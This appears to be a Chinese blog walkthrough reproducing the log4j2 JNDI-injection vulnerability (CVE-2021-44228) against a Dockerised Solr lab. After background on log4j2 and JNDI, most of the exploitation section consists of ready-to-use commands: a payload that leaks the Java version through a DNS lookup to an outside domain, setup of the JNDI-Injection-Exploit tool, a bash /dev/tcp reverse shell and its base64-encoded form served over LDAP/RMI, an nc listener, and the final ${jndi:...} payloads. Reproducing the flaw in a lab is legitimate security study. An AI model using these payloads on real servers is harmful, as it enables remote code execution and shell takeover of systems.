log4j2 远程代码执行漏洞复现(CVE-2021-44228)
log4j 对应的是 CVE-2017-5645,即 Apache Log4j Server 反序列化命令执行漏洞;
log4j2 对应的是 CVE-2021-44228,即 log4j2 远程代码执行漏洞,通过 JNDI 注入实现;
一、基础知识铺垫
(1)什么是 log4j 和 log4j2
log4j 是 Apache 的一个开源日志库,是一个基于 Java 的日志记录框架,Log4j2 是 log4j 的后继者,其中引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI 组建等,被应用于业务系统开发,用于记录程序输入输出日志信息,log4j2 中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可在目标服务器上执行任意代码。
(2)什么是JNDI
JNDI 是 Java Naming and Directory Interface 的缩写,是 Java 中用于访问各种命名和目录服务的API(应用程序编程接口) 。JNDI 提供了一种标准的方式来访问各种命名和目录服务,从指定的远程服务器获取并加载对象,其中常用的协议 包括 RMI(远程方法调用)和 LDAP(轻量目录访问协议)。
二、漏洞原理
log4j2 在日志输出中,未对字符合法性进行严格的限制,执行了 JNDI 协议加载的远程恶意脚本,从而造成RCE。
log4j2 框架下的 lookup 查询服务提供了 {} 字段解析功能,传进去的值会被直接解析。
当用户输入信息时,应用程序中的 log4j2 组件会将信息记录到日志中,假设日志中含有语句${jndi:ldap:192.168.249.1:9001/poc.class},log4j2 就会去解析该信息,通过 JNDI 的 lookup() 方法去解析 URL:ldap:192.168.249.1:9001/poc.class,解析到 ldap,就会去 192.168.61.129:9001 的 ldap 服务找名为 poc.class 的资源,如果找不到则会去 http 服务中找,只要在 ldap 或者 http 中找到了 poc.class ,就会将资源信息返回到 JNDI 接口,进而返回给应用程序的 log4j2 组件,而 log4j2 组件会将其下载下来,然后发现 poc.class 是一个 .class 文件,就会去执行里面的代码,从而实现注入,我们就可以通过 poc.class 实现任意命令的执行。
三、复现过程
准备:
拉取镜像:
docker compose up
查看映射端口号:
docker ps
访问IP+端口号

并且发现其注入点为
http://your_ip:8983/solr/admin/cores?action=
来yakit弄个可用域名:

通过构造payload来尝试获取java的版本:
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.zbwzcjrerw.iyhc.eu.org}
再次刷新记录,可以得出 sys:java.version 命令被执行了
成功获取到 Java 版本号为 1.8.0_312,证明确实存在 log4j2 远程代码执行漏洞

漏洞利用:
接着我们就要对这个漏洞就行进一步的利用:
这里我是在自己的服务器上面演示的
1、JNDI 注入工具安装
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
切换到 JNDI-Injection-Exploit 目录
cd JNDI-Injection-Exploit
编译安装,将源码打包成jar包,在该目录下执行如下命令
mvn clean package -DskipTests
切换进入到 target 目录:
cd target
root@VM-0-10-ubuntu:~/JNDI-Injection-Exploit/target#
2、工具用法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip"
3、服务站点部署
反弹 shell 到目标主机端口,这里以 7777 端口为例
bash -i >& /dev/tcp/your_ip/7777 0>&1
对命令进行 base64 编码 (命令必须经过编码,不然无法实现)
编码可以使用如下网站:
https://ares-x.com/tools/runtime-exec

将想要执行的命令替换成我们得到的 payload,以及填上我们的攻击机ip
利用 JNDI 注入工具把这个反弹 shell 命令部署到 LDAP 服务上
在 target 目录下,执行如下命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0OS4xMjgvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.249.128"
这样我们就部署好了 RMI 和 LDAP 服务的站点,并且得到了 payload 路径
4、开启端口监听
再开一个终端,监听我们对应的端口(我这里的 payload 里为 7777)
nc -lvvp 7777
5、反弹shell
使用上述给出的 payload 路径构造完整 payload
比如:
${jndi:ldap://192.168.249.128:1389/h8sgrk}
${jndi:rmi://192.168.249.128:1099/c2kspf}
在监听页面就可以实现远程命令执行了
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)